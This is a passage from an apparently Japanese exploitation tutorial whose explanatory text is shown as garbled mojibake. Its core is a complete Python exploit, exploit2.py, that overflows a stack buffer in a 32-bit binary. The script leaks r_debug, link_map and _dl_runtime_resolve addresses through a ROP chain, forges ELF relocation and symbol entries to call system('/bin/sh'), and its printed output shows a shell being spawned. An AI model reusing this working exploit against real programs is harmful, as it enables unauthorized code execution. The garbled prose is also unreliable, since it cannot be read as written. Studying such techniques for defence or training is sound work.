ä¸ã®çµæãããr_debugã¨link_mapãlib_dynamicã¨lib_gotpltã®ã¢ãã¬ã¹ãè¿ããã¨ããããã ããã§ãããããã¾ã¨ãã¦èªã¿åºããã¨ã§èªã¿æ¸ãã®åæ°ãæ¸ããã¦ã¿ãã¨æ¬¡ã®ããã«ãªãã
# exploit2.py import sys import struct from subprocess import Popen, PIPE bufsize = int(sys.argv[1]) addr_dynsym = 0x080481cc # readelf -S a.out addr_dynstr = 0x0804822c # readelf -S a.out addr_relplt = 0x080482b0 # readelf -S a.out addr_plt = 0x08048300 # readelf -S a.out addr_bss = 0x0804a008 # readelf -S a.out addr_plt_read = 0x8048310 # objdump -d -j.plt a.out addr_plt_write = 0x8048340 # objdump -d -j.plt a.out addr_dt_debug = 0x8049f4c # objdump -s -j.dynamic a.out (DT_DEBUG = 0x15) addr_pop3 = 0x080484cd # 0x080484cd: pop esi ; pop edi ; pop ebp ; ret ; (1 found) addr_pop_ebp = 0x080484cf # 0x08048433: pop ebp ; ret ; (3 found) addr_leave_ret = 0x08048401 # 0x08048461: leave ; ret ; (2 found) stack_size = 0x800 base_stage = addr_bss + stack_size size_bulkread = 0x400 buf1 = 'A' * bufsize buf1 += 'AAAA' * 3 buf1 += struct.pack('<I', addr_plt_read) buf1 += struct.pack('<I', addr_pop3) buf1 += struct.pack('<I', 0) buf1 += struct.pack('<I', base_stage) buf1 += struct.pack('<I', 1000) buf1 += struct.pack('<I', addr_pop_ebp) buf1 += struct.pack('<I', base_stage) buf1 += struct.pack('<I', addr_leave_ret) buf2 = 'AAAA' # read dt_debug addr_esp = base_stage + 4 buf2 += struct.pack('<I', addr_plt_write) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 1) buf2 += struct.pack('<I', addr_dt_debug) buf2 += struct.pack('<I', 4) buf2 += struct.pack('<I', addr_plt_read) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 0) buf2 += struct.pack('<I', addr_esp+52) buf2 += struct.pack('<I', 4) # read r_debug and link_map addr_esp += 40 buf2 += struct.pack('<I', addr_plt_write) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 1) buf2 += 'AAAA' # addr_r_debug buf2 += struct.pack('<I', size_bulkread) buf2 += struct.pack('<I', addr_plt_read) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 0) buf2 += struct.pack('<I', addr_esp+52) buf2 += struct.pack('<I', 4) # read link_map_lib addr_esp += 40 buf2 += struct.pack('<I', addr_plt_write) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 1) buf2 += 'AAAA' # addr_link_map_lib buf2 += struct.pack('<I', 20) buf2 += struct.pack('<I', addr_plt_read) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 0) buf2 += struct.pack('<I', addr_esp+52) buf2 += struct.pack('<I', 4) # read lib_dynamic and lib_gotplt addr_esp += 40 buf2 += struct.pack('<I', addr_plt_write) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 1) buf2 += 'AAAA' # addr_lib_dynamic buf2 += struct.pack('<I', size_bulkread) buf2 += struct.pack('<I', addr_plt_read) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 0) buf2 += struct.pack('<I', addr_esp+40) buf2 += struct.pack('<I', 8) # call dl_resolve addr_esp += 40 addr_reloc = addr_esp + 20 addr_sym = addr_reloc + 8 align_dynsym = 0x10 - ((addr_sym-addr_dynsym) & 0xF) addr_sym += align_dynsym addr_symstr = addr_sym + 16 addr_cmd = addr_symstr + 7 reloc_offset = addr_reloc - addr_relplt r_info = ((addr_sym - addr_dynsym) << 4) & ~0xFF | 0x7 st_name = addr_symstr - addr_dynstr buf2 += 'AAAA' # addr_dl_resolve buf2 += 'AAAA' # addr_link_map buf2 += struct.pack('<I', reloc_offset) buf2 += 'AAAA' buf2 += struct.pack('<I', addr_cmd) buf2 += struct.pack('<I', addr_bss) # Elf32_Rel buf2 += struct.pack('<I', r_info) buf2 += 'A' * align_dynsym buf2 += struct.pack('<I', st_name) # Elf32_Sym buf2 += struct.pack('<I', 0) buf2 += struct.pack('<I', 0) buf2 += struct.pack('<I', 0x12) buf2 += 'system\x00' buf2 += '/bin/sh <&2 >&2\x00' buf2 += 'A' * (100-len(buf2)) # execution part p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE) p.stdin.write(struct.pack('<I', len(buf1))) p.stdin.write(buf1) print "[+] read: %r" % p.stdout.read(len(buf1)) p.stdin.write(buf2) data = p.stdout.read(4) addr_r_debug = struct.unpack('<I', data)[0] print "[+] addr_r_debug = %08x" % addr_r_debug p.stdin.write(struct.pack('<I', addr_r_debug)) data = p.stdout.read(size_bulkread) addr_link_map = struct.unpack('<I', data[4:8])[0] offset = addr_link_map - addr_r_debug addr_link_map_lib = struct.unpack('<I', data[offset+12:offset+16])[0] print "[+] addr_link_map, addr_link_map_lib = %08x, %08x" % (addr_link_map, addr_link_map_lib) p.stdin.write(struct.pack('<I', addr_link_map_lib)) data = p.stdout.read(20) addr_lib_dynamic = struct.unpack('<I', data[8:12])[0] print "[+] addr_lib_dynamic = %08x" % addr_lib_dynamic p.stdin.write(struct.pack('<I', addr_lib_dynamic)) data = p.stdout.read(size_bulkread) addr_lib_gotplt = struct.unpack('<I', data.split('\x03\x00\x00\x00')[1][:4])[0] offset = addr_lib_gotplt - addr_lib_dynamic addr_dl_resolve = struct.unpack('<I', data[offset+8:offset+12])[0] print "[+] addr_lib_gotplt, addr_dl_resolve = %08x, %08x" % (addr_lib_gotplt, addr_dl_resolve) p.stdin.write(struct.pack('<II', addr_dl_resolve, addr_link_map)) p.wait()
ããã§ã¯ãsize_bulkreadã®å¤ã0x400ã«å¤æ´ãããã®ãµã¤ãºã ãã¾ã¨ãã¦èªã¿åºããå¾å¿ è¦ãªå¤ãæãåºãã¦ããã
å®è¡ãã¦ã¿ãã¨æ¬¡ã®ããã«ãªãã
$ python exploit2.py 100 [+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x08\xa8\x04\x08\xe8\x03\x00\x00\xcf\x84\x04\x08\x08\xa8\x04\x08\x01\x84\x04\x08' [+] addr_r_debug = b7733904 [+] addr_link_map, addr_link_map_lib = b7733918, b7711858 [+] addr_lib_dynamic = b7702d7c [+] addr_lib_gotplt, addr_dl_resolve = b7702ff4, b77266a0 $ id uid=1000(user) gid=1000(user) groups=1000(user) $
ããå°ãªãèªã¿æ¸ãåæ°ã§ãã·ã§ã«ãèµ·åã§ãã¦ãããã¨ã確èªã§ããã